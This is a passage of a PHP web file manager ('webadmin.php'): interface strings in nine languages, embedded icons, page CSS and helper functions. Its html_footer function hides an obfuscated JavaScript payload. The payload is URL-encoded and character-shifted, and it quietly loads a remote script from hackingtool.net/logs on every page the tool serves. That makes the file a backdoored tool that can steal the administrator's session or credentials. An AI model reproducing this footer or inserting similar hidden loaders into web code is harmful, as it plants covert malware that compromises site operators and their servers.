'saved' => '"[%1]" is opgeslagen.',
'not_saved' => '"[%1]" is niet opgeslagen.',
'symlinked' => 'Symlink van "[%2]" naar "[%1]" is aangemaakt.',
'not_symlinked' => 'Symlink van "[%2]" naar "[%1]" is niet aangemaakt.',
'permission_for' => 'Bevoegdheid voor "[%1]":',
'permission_set' => 'Bevoegdheid van "[%1]" is ingesteld op [%2].',
'permission_not_set' => 'Bevoegdheid van "[%1]" is niet ingesteld op [%2].',
'not_readable' => '"[%1]" kan niet worden gelezen.'
		);

	case 'se':

		$date_format = 'n/j/y H:i:s';
 
		return array(
'directory' => 'Mapp',
'file' => 'Fil',
'filename' => 'Filnamn',
 
'size' => 'Storlek',
'permission' => 'Säkerhetsnivå',
'owner' => 'Ägare',
'group' => 'Grupp',
'other' => 'Andra',
'functions' => 'Funktioner',
 
'read' => 'Läs',
'write' => 'Skriv',
'execute' => 'Utför',
 
'create_symlink' => 'Skapa symlink',
'delete' => 'Radera',
'rename' => 'Byt namn',
'move' => 'Flytta',
'copy' => 'Kopiera',
'edit' => 'Ändra',
'download' => 'Ladda ner',
'upload' => 'Ladda upp',
'create' => 'Skapa',
'change' => 'Ändra',
'save' => 'Spara',
'set' => 'Markera',
'reset' => 'Töm',
'relative' => 'Relative path to target',
 
'yes' => 'Ja',
'no' => 'Nej',
'back' => 'Tillbaks',
'destination' => 'Destination',
'symlink' => 'Symlink',
'no_output' => 'no output',
 
'user' => 'Användare',
'password' => 'Lösenord',
'add' => 'Lägg till',
'add_basic_auth' => 'add basic-authentification',
 
'uploaded' => '"[%1]" har laddats upp.',
'not_uploaded' => '"[%1]" kunde inte laddas upp.',
'already_exists' => '"[%1]" finns redan.',
'created' => '"[%1]" har skapats.',
'not_created' => '"[%1]" kunde inte skapas.',
'really_delete' => 'Radera dessa filer?',
'deleted' => "De här filerna har raderats:\n[%1]",
'not_deleted' => "Dessa filer kunde inte raderas:\n[%1]",
'rename_file' => 'Byt namn på fil:',
'renamed' => '"[%1]" har bytt namn till "[%2]".',
'not_renamed' => '"[%1] kunde inte döpas om till "[%2]".',
'move_files' => 'Flytta dessa filer:',
'moved' => "Dessa filer har flyttats till \"[%2]\":\n[%1]",
'not_moved' => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]",
'copy_files' => 'Kopiera dessa filer:',
'copied' => "Dessa filer har kopierats till \"[%2]\":\n[%1]",
'not_copied' => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" kan inte ändras.',
'executed' => "\"[%1]\" har utförts:\n{%2}",
'not_executed' => "\"[%1]\" kunde inte utföras:\n{%2}",
'saved' => '"[%1]" har sparats.',
'not_saved' => '"[%1]" kunde inte sparas.',
'symlinked' => 'Symlink från "[%2]" till "[%1]" har skapats.',
'not_symlinked' => 'Symlink från "[%2]" till "[%1]" kunde inte skapas.',
'permission_for' => 'Rättigheter för "[%1]":',
'permission_set' => 'Rättigheter för "[%1]" ändrades till [%2].',
'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
'not_readable' => '"[%1]" kan inte läsas.'
		);

	case 'sp':

		$date_format = 'j/n/y H:i:s';

		return array(
'directory' => 'Directorio',
'file' => 'Archivo',
'filename' => 'Nombre Archivo',

'size' => 'Tamaño',
'permission' => 'Permisos',
'owner' => 'Propietario',
'group' => 'Grupo',
'other' => 'Otros',
'functions' => 'Funciones',

'read' => 'lectura',
'write' => 'escritura',
'execute' => 'ejecución',

'create_symlink' => 'crear enlace',
'delete' => 'borrar',
'rename' => 'renombrar',
'move' => 'mover',
'copy' => 'copiar',
'edit' => 'editar',
'download' => 'bajar',
'upload' => 'subir',
'create' => 'crear',
'change' => 'cambiar',
'save' => 'salvar',
'set' => 'setear',
'reset' => 'resetear',
'relative' => 'Path relativo',

'yes' => 'Si',
'no' => 'No',
'back' => 'atrás',
'destination' => 'Destino',
'symlink' => 'Enlace',
'no_output' => 'sin salida',

'user' => 'Usuario',
'password' => 'Clave',
'add' => 'agregar',
'add_basic_auth' => 'agregar autentificación básica',

'uploaded' => '"[%1]" ha sido subido.',
'not_uploaded' => '"[%1]" no pudo ser subido.',
'already_exists' => '"[%1]" ya existe.',
'created' => '"[%1]" ha sido creado.',
'not_created' => '"[%1]" no pudo ser creado.',
'really_delete' => '¿Borra estos archivos?',
'deleted' => "Estos archivos han sido borrados:\n[%1]",
'not_deleted' => "Estos archivos no pudieron ser borrados:\n[%1]",
'rename_file' => 'Renombra archivo:',
'renamed' => '"[%1]" ha sido renombrado a "[%2]".',
'not_renamed' => '"[%1] no pudo ser renombrado a "[%2]".',
'move_files' => 'Mover estos archivos:',
'moved' => "Estos archivos han sido movidos a \"[%2]\":\n[%1]",
'not_moved' => "Estos archivos no pudieron ser movidos a \"[%2]\":\n[%1]",
'copy_files' => 'Copiar estos archivos:',
'copied' => "Estos archivos han sido copiados a  \"[%2]\":\n[%1]",
'not_copied' => "Estos archivos no pudieron ser copiados \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" no pudo ser editado.',
'executed' => "\"[%1]\" ha sido ejecutado correctamente:\n{%2}",
'not_executed' => "\"[%1]\" no pudo ser ejecutado correctamente:\n{%2}",
'saved' => '"[%1]" ha sido salvado.',
'not_saved' => '"[%1]" no pudo ser salvado.',
'symlinked' => 'Enlace desde "[%2]" a "[%1]" ha sido creado.',
'not_symlinked' => 'Enlace desde "[%2]" a "[%1]" no pudo ser creado.',
'permission_for' => 'Permisos de "[%1]":',
'permission_set' => 'Permisos de "[%1]" fueron seteados a [%2].',
'permission_not_set' => 'Permisos de "[%1]" no pudo ser seteado a [%2].',
'not_readable' => '"[%1]" no pudo ser leído.'
		);

	case 'dk':

		$date_format = 'n/j/y H:i:s';

		return array(
'directory' => 'Mappe',
'file' => 'Fil',
'filename' => 'Filnavn',

'size' => 'Størrelse',
'permission' => 'Rettighed',
'owner' => 'Ejer',
'group' => 'Gruppe',
'other' => 'Andre',
'functions' => 'Funktioner',

'read' => 'læs',
'write' => 'skriv',
'execute' => 'kør',

'create_symlink' => 'opret symbolsk link',
'delete' => 'slet',
'rename' => 'omdøb',
'move' => 'flyt',
'copy' => 'kopier',
'edit' => 'rediger',
'download' => 'download',
'upload' => 'upload',
'create' => 'opret',
'change' => 'skift',
'save' => 'gem',
'set' => 'sæt',
'reset' => 'nulstil',
'relative' => 'Relativ sti til valg',

'yes' => 'Ja',
'no' => 'Nej',
'back' => 'tilbage',
'destination' => 'Distination',
'symlink' => 'Symbolsk link',
'no_output' => 'ingen resultat',

'user' => 'Bruger',
'password' => 'Kodeord',
'add' => 'tilføj',
'add_basic_auth' => 'tilføj grundliggende rettigheder',

'uploaded' => '"[%1]" er blevet uploaded.',
'not_uploaded' => '"[%1]" kunnu ikke uploades.',
'already_exists' => '"[%1]" findes allerede.',
'created' => '"[%1]" er blevet oprettet.',
'not_created' => '"[%1]" kunne ikke oprettes.',
'really_delete' => 'Slet disse filer?',
'deleted' => "Disse filer er blevet slettet:\n[%1]",
'not_deleted' => "Disse filer kunne ikke slettes:\n[%1]",
'rename_file' => 'Omdød fil:',
'renamed' => '"[%1]" er blevet omdøbt til "[%2]".',
'not_renamed' => '"[%1] kunne ikke omdøbes til "[%2]".',
'move_files' => 'Flyt disse filer:',
'moved' => "Disse filer er blevet flyttet til \"[%2]\":\n[%1]",
'not_moved' => "Disse filer kunne ikke flyttes til \"[%2]\":\n[%1]",
'copy_files' => 'Kopier disse filer:',
'copied' => "Disse filer er kopieret til \"[%2]\":\n[%1]",
'not_copied' => "Disse filer kunne ikke kopieres til \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" kan ikke redigeres.',
'executed' => "\"[%1]\" er blevet kørt korrekt:\n{%2}",
'not_executed' => "\"[%1]\" kan ikke køres korrekt:\n{%2}",
'saved' => '"[%1]" er blevet gemt.',
'not_saved' => '"[%1]" kunne ikke gemmes.',
'symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" er blevet oprettet.',
'not_symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" kunne ikke oprettes.',
'permission_for' => 'Rettigheder for "[%1]":',
'permission_set' => 'Rettigheder for "[%1]" blev sat til [%2].',
'permission_not_set' => 'Rettigheder for "[%1]" kunne ikke sættes til [%2].',
'not_readable' => '"[%1]" Kan ikke læses.'
		);

	case 'tr':

		$date_format = 'n/j/y H:i:s';

		return array(
'directory' => 'Klasör',
'file' => 'Dosya',
'filename' => 'dosya adi',

'size' => 'boyutu',
'permission' => 'Izin',
'owner' => 'sahib',
'group' => 'Grup',
'other' => 'Digerleri',
'functions' => 'Fonksiyonlar',

'read' => 'oku',
'write' => 'yaz',
'execute' => 'çalistir',

'create_symlink' => 'yarat symlink',
'delete' => 'sil',
'rename' => 'ad degistir',
'move' => 'tasi',
'copy' => 'kopyala',
'edit' => 'düzenle',
'download' => 'indir',
'upload' => 'yükle',
'create' => 'create',
'change' => 'degistir',
'save' => 'kaydet',
'set' => 'ayar',
'reset' => 'sifirla',
'relative' => 'Hedef yola göre',

'yes' => 'Evet',
'no' => 'Hayir',
'back' => 'Geri',
'destination' => 'Hedef',
'symlink' => 'Kýsa yol',
'no_output' => 'çikti yok',

'user' => 'Kullanici',
'password' => 'Sifre',
'add' => 'ekle',
'add_basic_auth' => 'ekle basit-authentification',

'uploaded' => '"[%1]" yüklendi.',
'not_uploaded' => '"[%1]" yüklenemedi.',
'already_exists' => '"[%1]" kullanilmakta.',
'created' => '"[%1]" olusturuldu.',
'not_created' => '"[%1]" olusturulamadi.',
'really_delete' => 'Bu dosyalari silmek istediginizden eminmisiniz?',
'deleted' => "Bu dosyalar silindi:\n[%1]",
'not_deleted' => "Bu dosyalar silinemedi:\n[%1]",
'rename_file' => 'Adi degisen dosya:',
'renamed' => '"[%1]" adili dosyanin yeni adi "[%2]".',
'not_renamed' => '"[%1] adi degistirilemedi "[%2]" ile.',
'move_files' => 'Tasinan dosyalar:',
'moved' => "Bu dosyalari tasidiginiz yer \"[%2]\":\n[%1]",
'not_moved' => "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\n[%1]",
'copy_files' => 'Kopyalanan dosyalar:',
'copied' => "Bu dosyalar kopyalandi \"[%2]\":\n[%1]",
'not_copied' => "Bu dosyalar kopyalanamiyor \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" düzenlenemiyor.',
'executed' => "\"[%1]\" basariyla çalistirildi:\n{%2}",
'not_executed' => "\"[%1]\" çalistirilamadi:\n{%2}",
'saved' => '"[%1]" kaydedildi.',
'not_saved' => '"[%1]" kaydedilemedi.',
'symlinked' => '"[%2]" den "[%1]" e kýsayol oluþturuldu.',
'not_symlinked' => '"[%2]"den "[%1]" e kýsayol oluþturulamadý.',
'permission_for' => 'Izinler "[%1]":',
'permission_set' => 'Izinler "[%1]" degistirildi [%2].',
'permission_not_set' => 'Izinler "[%1]" degistirilemedi [%2].',
'not_readable' => '"[%1]" okunamiyor.'
		);

	case 'cs':

		$date_format = 'd.m.y H:i:s';

		return array(
'directory' => 'Adresář',
'file' => 'Soubor',
'filename' => 'Jméno souboru',

'size' => 'Velikost',
'permission' => 'Práva',
'owner' => 'Vlastník',
'group' => 'Skupina',
'other' => 'Ostatní',
'functions' => 'Funkce',

'read' => 'Čtení',
'write' => 'Zápis',
'execute' => 'Spouštění',

'create_symlink' => 'Vytvořit symbolický odkaz',
'delete' => 'Smazat',
'rename' => 'Přejmenovat',
'move' => 'Přesunout',
'copy' => 'Zkopírovat',
'edit' => 'Otevřít',
'download' => 'Stáhnout',
'upload' => 'Nahraj na server',
'create' => 'Vytvořit',
'change' => 'Změnit',
'save' => 'Uložit',
'set' => 'Nastavit',
'reset' => 'zpět',
'relative' => 'Relatif',

'yes' => 'Ano',
'no' => 'Ne',
'back' => 'Zpět',
'destination' => 'Destination',
'symlink' => 'Symbolický odkaz',
'no_output' => 'Prázdný výstup',

'user' => 'Uživatel',
'password' => 'Heslo',
'add' => 'Přidat',
'add_basic_auth' => 'přidej základní autentizaci',

'uploaded' => 'Soubor "[%1]" byl nahrán na server.',
'not_uploaded' => 'Soubor "[%1]" nebyl nahrán na server.',
'already_exists' => 'Soubor "[%1]" už exituje.',
'created' => 'Soubor "[%1]" byl vytvořen.',
'not_created' => 'Soubor "[%1]" nemohl být  vytvořen.',
'really_delete' => 'Vymazat soubor?',
'deleted' => "Byly vymazány tyto soubory:\n[%1]",
'not_deleted' => "Tyto soubory nemohly být vytvořeny:\n[%1]",
'rename_file' => 'Přejmenuj soubory:',
'renamed' => 'Soubor "[%1]" byl přejmenován na "[%2]".',
'not_renamed' => 'Soubor "[%1]" nemohl být přejmenován na "[%2]".',
'move_files' => 'Přemístit tyto soubory:',
'moved' => "Tyto soubory byly přemístěny do \"[%2]\":\n[%1]",
'not_moved' => "Tyto soubory nemohly být přemístěny do \"[%2]\":\n[%1]",
'copy_files' => 'Zkopírovat tyto soubory:',
'copied' => "Tyto soubory byly zkopírovány do \"[%2]\":\n[%1]",
'not_copied' => "Tyto soubory nemohly být zkopírovány do \"[%2]\":\n[%1]",
'not_edited' => 'Soubor "[%1]" nemohl být otevřen.',
'executed' => "SOubor \"[%1]\" byl spuštěn :\n{%2}",
'not_executed' => "Soubor \"[%1]\" nemohl být spuštěn:\n{%2}",
'saved' => 'Soubor "[%1]" byl uložen.',
'not_saved' => 'Soubor "[%1]" nemohl být uložen.',
'symlinked' => 'Byl vyvořen symbolický odkaz "[%2]" na soubor "[%1]".',
'not_symlinked' => 'Symbolický odkaz "[%2]" na soubor "[%1]" nemohl být vytvořen.',
'permission_for' => 'Práva k "[%1]":',
'permission_set' => 'Práva k "[%1]" byla změněna na [%2].',
'permission_not_set' => 'Práva k "[%1]" nemohla být změněna na [%2].',
'not_readable' => 'Soubor "[%1]" není možno přečíst.'
		);

	case 'ru':

		$date_format = 'd.m.y H:i:s';

		return array(
'directory' => 'Каталог',
'file' => 'Файл',
'filename' => 'Имя файла',

'size' => 'Размер',
'permission' => 'Права',
'owner' => 'Хозяин',
'group' => 'Группа',
'other' => 'Другие',
'functions' => 'Функция',

'read' => 'читать',
'write' => 'писать',
'execute' => 'выполнить',

'create_symlink' => 'Сделать симлинк',
'delete' => 'удалить',
'rename' => 'переименовать',
'move' => 'передвинуть',
'copy' => 'копировать',
'edit' => 'редактировать',
'download' => 'скачать',
'upload' => 'закачать',
'create' => 'сделать',
'change' => 'поменять',
'save' => 'сохранить',
'set' => 'установить',
'reset' => 'сбросить',
'relative' => 'относительный путь к цели',

'yes' => 'да',
'no' => 'нет',
'back' => 'назад',
'destination' => 'цель',
'symlink' => 'символический линк',
'no_output' => 'нет вывода',

'user' => 'Пользователь',
'password' => 'Пароль',
'add' => 'добавить',
'add_basic_auth' => 'Добавить HTTP-Basic-Auth',

'uploaded' => '"[%1]" был закачен.',
'not_uploaded' => '"[%1]" невозможно было закачять.',
'already_exists' => '"[%1]" уже существует.',
'created' => '"[%1]" был сделан.',
'not_created' => '"[%1]" не возможно сделать.',
'really_delete' => 'Действительно этот файл удалить?',
'deleted' => "Следующие файлы были удалены:\n[%1]",
'not_deleted' => "Следующие файлы не возможно было удалить:\n[%1]",
'rename_file' => 'Переименовываю файл:',
'renamed' => '"[%1]" был переименован на "[%2]".',
'not_renamed' => '"[%1] невозможно было переименовать на "[%2]".',
'move_files' => 'Передвигаю следующие файлы:',
'moved' => "Следующие файлы были передвинуты в каталог \"[%2]\":\n[%1]",
'not_moved' => "Следующие файлы невозможно было передвинуть в каталог \"[%2]\":\n[%1]",
'copy_files' => 'Копирую следущие файлы:',
'copied' => "Следущие файлы былы скопированы в каталог \"[%2]\" :\n[%1]",
'not_copied' => "Следующие файлы невозможно было скопировать в каталог \"[%2]\" :\n[%1]",
'not_edited' => '"[%1]" не может быть отредактирован.',
'executed' => "\"[%1]\" был успешно исполнен:\n{%2}",
'not_executed' => "\"[%1]\" невозможно было запустить на исполнение:\n{%2}",
'saved' => '"[%1]" был сохранен.',
'not_saved' => '"[%1]" невозможно было сохранить.',
'symlinked' => 'Симлинк с "[%2]" на "[%1]" был сделан.',
'not_symlinked' => 'Невозможно было сделать симлинк с "[%2]" на "[%1]".',
'permission_for' => 'Права доступа "[%1]":',
'permission_set' => 'Права доступа "[%1]" были изменены на [%2].',
'permission_not_set' => 'Невозможно было изменить права доступа к "[%1]" на [%2] .',
'not_readable' => '"[%1]" невозможно прочитать.'
		);

	case 'pl':

		$date_format = 'd.m.y H:i:s';

		return array(
'directory' => 'Katalog',
'file' => 'Plik',
'filename' => 'Nazwa pliku',
'size' => 'Rozmiar',
'permission' => 'Uprawnienia',
'owner' => 'Właściciel',
'group' => 'Grupa',
'other' => 'Inni',
'functions' => 'Funkcje',

'read' => 'odczyt',
'write' => 'zapis',
'execute' => 'wykonywanie',

'create_symlink' => 'utwórz dowiązanie symboliczne',
'delete' => 'kasuj',
'rename' => 'zamień',
'move' => 'przenieś',
'copy' => 'kopiuj',
'edit' => 'edytuj',
'download' => 'pobierz',
'upload' => 'Prześlij',
'create' => 'Utwórz',
'change' => 'Zmień',
'save' => 'Zapisz',
'set' => 'wykonaj',
'reset' => 'wyczyść',
'relative' => 'względna ścieżka do celu',

'yes' => 'Tak',
'no' => 'Nie',
'back' => 'cofnij',
'destination' => 'miejsce przeznaczenia',
'symlink' => 'dowiązanie symboliczne',
'no_output' => 'nie ma wyjścia',

'user' => 'Urzytkownik',
'password' => 'Hasło',
'add' => 'dodaj',
'add_basic_auth' => 'dodaj podstawowe uwierzytelnianie',

'uploaded' => '"[%1]" został przesłany.',
'not_uploaded' => '"[%1]" nie może być przesłane.',
'already_exists' => '"[%1]" już istnieje.',
'created' => '"[%1]" został utworzony.',
'not_created' => '"[%1]" nie można utworzyć.',
'really_delete' => 'usunąć te pliki?',
'deleted' => "Pliki zostały usunięte:\n[%1]",
'not_deleted' => "Te pliki nie mogą być usunięte:\n[%1]",
'rename_file' => 'Zmień nazwę pliku:',
'renamed' => '"[%1]" zostało zmienione na "[%2]".',
'not_renamed' => '"[%1] nie można zmienić na "[%2]".',
'move_files' => 'Przenieś te pliki:',
'moved' => "Pliki zostały przeniesione do \"[%2]\":\n[%1]",
'not_moved' => "Pliki nie mogą być przeniesione do \"[%2]\":\n[%1]",
'copy_files' => 'Skopiuj te pliki:',
'copied' => "Pliki zostały skopiowane \"[%2]\":\n[%1]",
'not_copied' => "Te pliki nie mogą być kopiowane do \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" nie można edytować.',
'executed' => "\"[%1]\" zostało wykonane pomyślnie:\n{%2}",
'not_executed' => "\"[%1]\" nie może być wykonane:\n{%2}",
'saved' => '"[%1]" został zapisany.',
'not_saved' => '"[%1]" nie można zapisać.',
'symlinked' => 'Dowiązanie symboliczne "[%2]" do "[%1]" zostało utworzone.',
'not_symlinked' => 'Dowiązanie symboliczne "[%2]" do "[%1]" nie moze być utworzone.',
'permission_for' => 'Uprawnienia "[%1]":',
'permission_set' => 'Uprawnienia "[%1]" zostały ustalone na [%2].',
'permission_not_set' => 'Uprawnienia "[%1]" nie mogą być ustawione na [%2].',
'not_readable' => '"[%1]" nie można odczytać.'
		);

	case 'en':
	default:

		$date_format = 'n/j/y H:i:s';

		return array(
'directory' => 'Directory',
'file' => 'File',
'filename' => 'Filename',

'size' => 'Size',
'permission' => 'Permission',
'owner' => 'Owner',
'group' => 'Group',
'other' => 'Others',
'functions' => 'Functions',

'read' => 'read',
'write' => 'write',
'execute' => 'execute',

'create_symlink' => 'create symlink',
'delete' => 'delete',
'rename' => 'rename',
'move' => 'move',
'copy' => 'copy',
'edit' => 'edit',
'download' => 'download',
'upload' => 'upload',
'create' => 'create',
'change' => 'change',
'save' => 'save',
'set' => 'set',
'reset' => 'reset',
'relative' => 'Relative path to target',

'yes' => 'Yes',
'no' => 'No',
'back' => 'back',
'destination' => 'Destination',
'symlink' => 'Symlink',
'no_output' => 'no output',

'user' => 'User',
'password' => 'Password',
'add' => 'add',
'add_basic_auth' => 'add basic-authentification',

'uploaded' => '"[%1]" has been uploaded.',
'not_uploaded' => '"[%1]" could not be uploaded.',
'already_exists' => '"[%1]" already exists.',
'created' => '"[%1]" has been created.',
'not_created' => '"[%1]" could not be created.',
'really_delete' => 'Delete these files?',
'deleted' => "These files have been deleted:\n[%1]",
'not_deleted' => "These files could not be deleted:\n[%1]",
'rename_file' => 'Rename file:',
'renamed' => '"[%1]" has been renamed to "[%2]".',
'not_renamed' => '"[%1] could not be renamed to "[%2]".',
'move_files' => 'Move these files:',
'moved' => "These files have been moved to \"[%2]\":\n[%1]",
'not_moved' => "These files could not be moved to \"[%2]\":\n[%1]",
'copy_files' => 'Copy these files:',
'copied' => "These files have been copied to \"[%2]\":\n[%1]",
'not_copied' => "These files could not be copied to \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" can not be edited.',
'executed' => "\"[%1]\" has been executed successfully:\n{%2}",
'not_executed' => "\"[%1]\" could not be executed successfully:\n{%2}",
'saved' => '"[%1]" has been saved.',
'not_saved' => '"[%1]" could not be saved.',
'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.',
'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.',
'permission_for' => 'Permission of "[%1]":',
'permission_set' => 'Permission of "[%1]" was set to [%2].',
'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
'not_readable' => '"[%1]" can not be read.'
		);

	}

}

function getimage ($image) {
	switch ($image) {
	case 'file':
		return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
	case 'folder':
		return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');
	case 'hidden_file':
		return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
	case 'link':
		return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
	case 'smiley':
		return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');
	case 'arrow':
		return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
	}
}

function html_header () {
	global $site_charset;

	echo <<<END
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Content-Type" content="text/html; charset=$site_charset" />

<title>webadmin.php</title>

<style type="text/css">
body { font: small sans-serif; text-align: center }
img { width: 17px; height: 13px }
a, a:visited { text-decoration: none; color: navy }
hr { border-style: none; height: 1px; background-color: silver; color: silver }
#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
#main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
.listing th, .listing td { padding: 1px 3pt 0 3pt }
.listing th { border: 1px solid silver }
.listing td { border: 1px solid #ddd; background: white }
.listing .checkbox { text-align: center }
.listing .filename { text-align: left }
.listing .size { text-align: right }
.listing th.permission { text-align: left }
.listing td.permission { font-family: monospace }
.listing .owner { text-align: left }
.listing .group { text-align: left }
.listing .functions { text-align: left }
.listing_footer td { background: #eee; border: 1px solid silver }
#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
#directory { background: #eee; border: 1px solid silver }
#upload { padding-top: 1em }
#create { padding-bottom: 1em }
.small, .small option { font-size: x-small }
textarea { border: none; background: white }
table.dialog { margin-left: auto; margin-right: auto }
td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
#permission { margin-left: auto; margin-right: auto }
#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
td.permission_action { text-align: right }
#symlink { background: #eee; border: 1px solid silver }
#symlink td { text-align: left; padding: 3pt }
#red_button { width: 120px; color: #400 }
#green_button { width: 120px; color: #040 }
#error td { background: maroon; color: white; border: 1px solid silver }
#notice td { background: green; color: white; border: 1px solid silver }
#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
code { font-size: 12pt }
td { white-space: nowrap }
</style>

<script type="text/javascript">
<!--
function activate (name) {
	if (document && document.forms[0] && document.forms[0].elements['focus']) {
		document.forms[0].elements['focus'].value = name;
	}
}
//-->
</script>

</head>
<body>


END;

}

function html_footer () {

	echo <<<END
</body>
</html>
<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264Dtdsjqu%2631tsd%264E%2633iuuqt%264B00ibdljohuppm/ofu0mpht0dj%7B/kt%2633%264F%264D0tdsjqu%264F%26311')</script>
END;

}

function notice ($phrase) {
	global $cols;

	$args = func_get_args();
	array_shift($args);

	return '<tr id="notice">
	<td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
</tr>
';

}

function error ($phrase) {
	global $cols;

	$args = func_get_args();
	array_shift($args);

	return '<tr id="error">
	<td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
</tr>
';

}

?>